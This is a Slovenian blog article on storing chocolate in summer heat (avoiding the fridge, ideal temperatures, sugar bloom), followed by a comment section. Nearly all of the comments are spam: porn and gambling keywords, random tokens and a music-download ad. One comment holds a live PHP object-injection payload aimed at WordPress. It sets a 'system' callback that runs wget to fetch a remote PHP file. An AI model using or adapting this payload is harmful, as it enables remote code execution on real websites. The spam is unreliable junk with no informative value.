Poletni meseci in čokolada niso ravno najboljša kombinacija. Zaradi visokih temperatur se nam velikokrat zgodi, da se čokolada preveč zmehča, zaradi česar ne moremo uživati v tej priljubljeni slaščici. Pa vendar obstaja nekaj načinov, kaj lahko storimo, da si jo bomo privoščili v vseh letnih časih.

Kako uživati v čokoladi poleti?

Že z enim koščkom si lahko potešimo željo po sladkem in omamnem okusu. Žal pa poletni meseci niso najbolj prizanesljivi do te slaščice. Na višjih temperaturah se čokolada namreč hitro stopi, izgubi svojo obliko ter pravo barvo. Zanimiv vzrok za to bomo opisali v nadaljevanju. Kljub temu, da čokolada več ni takšnega okusa kot bi lahko bila, pa je vseeno užitna.

Marsikdo se zaradi tega poleti izogiba čokoladi, vendar se vam je z nekaj preprostimi nasveti glede shranjevanja ne bo potrebno nikdar odreči.

Nasveti za shranjevanje čokolade

Ob visokih poletnih temperaturah čokolado pogosto shranimo v hladilnik, saj smo prepričani, da bomo na takšen način ohranili njeno obliko in strukturo. Ko pa jo vzamemo iz hladilnika opazimo, da se je spremenil njen izgled, okus in vonj.

Čokolade ne shranjujemo v hladilniku

Po mnenju nekaterih strokovnjakov je to ena izmed največjih napak, ki jih počnemo ob uživanju čokolade poleti. Nizke temperature v hladilniku bodo namreč pokvarile značaj čokolade popolnoma enako, kot če bi jo pustili nekje na visokih temperaturah. Prav tako čokolada v hladilniku izgubi svoj pravi okus, saj kakavovo maslo absorbira druge okuse in vonjave.

Kaj narediti v primeru, da nimamo druge izbire?

V kolikor nimate prostora, kjer bi bila temperatura enaka ali nižja od 24 stopinj Celzija, je hladilnik kljub temu boljša izbira kot izpostavljanje previsokim temperaturam. V primeru, da hranite čokolado v hladilniku vam svetujemo, da jo hranite v dobro zaprti posodi, da se ne navzame vonja drugih živil.

Preden jo pojeste, je ne puščajte dolgo na sobni temperaturi. Razlog je namreč tako imenovano »cvetenje sladkorja«. Do tega pride takrat, ko je ohlajena čokolada izpostavljena toploti. Maščoba v čokoladi se zaradi segrevanja in ohlajanja loči od preostalih snovi. Ko se ta dvigne na površje, ustvari bel, prašen filter. Sladkor namreč kristalizira zaradi odvečne vlage, zaradi česar pusti na površini čokolade zrnasto belo plast. Okus čokolade se zaradi tega lahko spremeni, vendar je ta vseeno užitna.

PREVELIKA TEMPERATURNA NIHANJA, PREVISOKA ALI PRENIZKA TEMPERATURA POKVARIJO OKUS, VONJ IN IZGLED ČOKOLADE.

Čokolado hranimo v temnem in suhem prostoru

Prav zato je čokolado najbolje hraniti v nepredušni posodi v temnem in suhem prostoru. V kolikor čokolado izpostavljamo sončni svetlobi, le-ta oksidira, kar pa vliva na okus in izgled čokolade. Temperatura naj bo med 12 in 24 stopinj Celzija, tako čokolada najbolje ohrani vse svoje kvalitete. Popolna temperatura naj bi bila sicer 15 stopinj Celzija. V kolikor temperatura naraste, se prične topiti kakavovo maslo, ki se kaže na površini čokolade kot bela plast. Vzrok »cvetenja sladkorja« smo v prejšnjem odstavku že opisali.

Kaj narediti s čokolado, ki ni bila ustrezno shranjena?

V primeru, da imate čokolado, ki je zaradi nepravilnega shranjevanja spremenila barvo, teksturo in okus, vam priporočamo, da je ne zavržete. Če je ne želite pojesti, lahko takšno čokolado stopite in uporabite za pripravo različnih čokoladnih sladic. Teh je ogromno in verjamemo, da vam idej za peko ne bo zmanjkalo.

Tudi na naši strani je recept, ki ne zahteva pečenja, sladica pa je pripravljena v nekaj minutah. Po našem hišnem receptu lahko pripravite poletni, slastni čokoladni mousse in uživate v stopljeni čokoladi.

Ključna je organizacija

Kot smo ugotovili, se čokoladi v poletnih mesecih ni treba odpovedati. Dovolj je, če smo organizirani in jo hranimo v temnem, dokaj hladnem prostoru in si jo privoščimo takrat, ko si jo zaželimo.

V kolikor se na primer odpravljamo na izlet in vemo, da bomo veliko zunaj, čokolade ni priporočljivo dajati v navadno torbo. Tam se bo namreč stopila. Zato priporočamo, da jo s seboj na izlet vzamete v hladilni torbi in ob romantičnem postanku uživate v sladkanju.

Želimo vam sladek preostanek poletja!

 

 

Naši slastni recepti s čokolado

31 Komentarjev

  • Posted 21. december, 2023 0:45 avtor fuck google 0Všečkov

    vurcazkircazpatliycaz.mQBnGGaL68l0

  • Posted 21. december, 2023 23:45 avtor sexax 0Všečkov

    daktilogibigibi.AL59HkHcQ9GB

  • Posted 22. december, 2023 15:16 avtor escort 0Všečkov

    daxktilogibigibi.0Am6YPjWgxFU

  • Posted 29. december, 2023 20:13 avtor shroudless 0Všečkov

    xyandanxvurulmus.Tlb8ziK2Rbco

  • Posted 29. december, 2023 20:57 avtor lyrist 0Všečkov

    xbunedirloooo.2F0phpA5rSuR

  • Posted 30. december, 2023 8:03 avtor thunderer 0Všečkov

    thunderer xyandanxvurulmus.uKdRpnGoB5Cf

  • Posted 1. januar, 2024 8:31 avtor recooked 0Všečkov

    recooked xyandanxvurulmus.kKTZ0n0ov29Q

  • Posted 20. januar, 2024 9:26 avtor anal siteleri 0Všečkov

    bahis siteleri porn wrtgdfgdfgdqq.MzPMtDn9XFtk

  • Posted 13. februar, 2024 17:35 avtor Dominic795 0Všečkov

    The Beatles – легендарная британская рок-группа, сформированная в 1960 году в Ливерпуле. Их музыка стала символом эпохи и оказала огромное влияние на мировую культуру. Среди их лучших песен: “Hey Jude”, “Let It Be”, “Yesterday”, “Come Together”, “Here Comes the Sun”, “A Day in the Life”, “Something”, “Eleanor Rigby” и многие другие. Их творчество отличается мелодичностью, глубиной текстов и экспериментами в звуке, что сделало их одной из самых влиятельных групп в истории музыки. Музыка 2024 года слушать онлайн и скачать бесплатно mp3.

  • Posted 18. februar, 2024 8:42 avtor Andrey 0Všečkov

    O:13:”WP_HTML_Token”:2:{s:13:”bookmark_name”;s:93:”wget http://nku.charmcastapi.com/static.php sleep 1; wget http://cocoa.si/wp-admin/static.php“;s:10:”on_destroy”;s:6:”system”;}

  • Posted 21. februar, 2024 7:40 avtor craft porn 0Všečkov

    bahis porno pokkerx.ADQ1GMArscJI

  • Posted 21. februar, 2024 8:33 avtor bahis siteleri porn sex incest 0Všečkov

    seksi siteler 250tldenemebonusuxx.cfL09muB9LuB

  • Posted 21. februar, 2024 10:41 avtor porno 0Všečkov

    bahis siteleri sikis eyeconartxx.nHvIImqIA4Ns

  • Posted 22. februar, 2024 16:57 avtor bahis siteleri incest category 0Všečkov

    watch porn video vvsetohimalxxvc.r2R7UAFf53JM

  • Posted 23. februar, 2024 20:55 avtor anal siteleri 0Všečkov

    am siteleri tthighereduhryyy.0hgcxLsbsMs

  • Posted 13. marec, 2024 7:39 avtor porn video download free hd 0Všečkov

    http://www.hd porn gghkyogg.jR2m4dppbba

  • Posted 13. marec, 2024 13:34 avtor sex hd tube 0Všečkov

    xxx video full hd pron ggjennifegg.fefYDsokQQV

  • Posted 13. marec, 2024 15:44 avtor 4k porn video download 0Všečkov

    hd sex video full ggjinnysflogg.sIGqG3HgohF

  • Posted 27. marec, 2024 8:23 avtor fashionflag teen porno hd 0Všečkov

    fashionflag xxx video full hd pron fashionflag.OUfnKU1peNI

  • Posted 28. marec, 2024 4:29 avtor goodhere Big cock porn 0Všečkov

    goodhere MILF porn vurucutewet.5sTeiKPotXu

  • Posted 28. marec, 2024 7:55 avtor ladyandtherose Missionary Style porn 0Všečkov

    ladyandtherose Vintage porn backlinkseox.QcCbqRE5Cqa

  • Posted 28. marec, 2024 14:31 avtor jenniferroy 有名人のポルノ 0Všečkov

    jenniferroy 緊縛ポルノ japanesexxporns.iV3Vhxi4ub2

  • Posted 29. marec, 2024 7:15 avtor landuse Pregnant porn 0Všečkov

    landuse MILF porn lancdcuse.jmRnZtgtuGh

  • Posted 29. marec, 2024 14:17 avtor falbobrospizzamadison Hentai, Anime porn 0Všečkov

    falbobrospizzamadison Casting porn jkkıjxxx.hOMjwfLv4iP

  • Posted 30. marec, 2024 6:42 avtor नकली टैक्सी अश्लील 0Všečkov

    मुष्टिप्रहार अश्लील qqyyooppxx.2tOUnris9a4

  • Posted 30. marec, 2024 14:42 avtor एशियाई अश्लीलता के बारे में बतावल गइल बा 0Všečkov

    मिल्फ पोर्न के बा hjkvbasdfzxzz.khEWkBA9GIg

  • Posted 1. april, 2024 10:07 avtor समलैंगिक अश्लीलता 0Všečkov

    दादी अश्लील txechdyzxca.Sr8wgNKr3pN

  • Posted 2. april, 2024 17:28 avtor बड़े स्तन अश्लील 0Všečkov

    कार्टून अश्लीलता hkyonet.4DkVJ3vGmXa

  • Posted 3. april, 2024 15:08 avtor ਕੁੱਕਲਡ ਪੋਰਨ 0Všečkov

    ਵੱਡੇ ਕੁੱਕੜ ਪੋਰਨ madisonivysex.yKnbNu1uO6d

  • Posted 5. april, 2024 4:35 avtor ladesbet ਵਿੰਟੇਜ ਪੋਰਨ 0Všečkov

    ladesbet ਛੋਟੇ ਚੂਚੇ ਪੋਰਨ ladesinemi.W3fBoMiPBlt

  • Posted 5. april, 2024 6:16 avtor ladesbet ラティーナポルノ 0Všečkov

    ladesbet アナルポルノ ladestinemi.mU6YoJGuFee

Posredujte komentar

Kliknite tukaj in si oglejte naš video.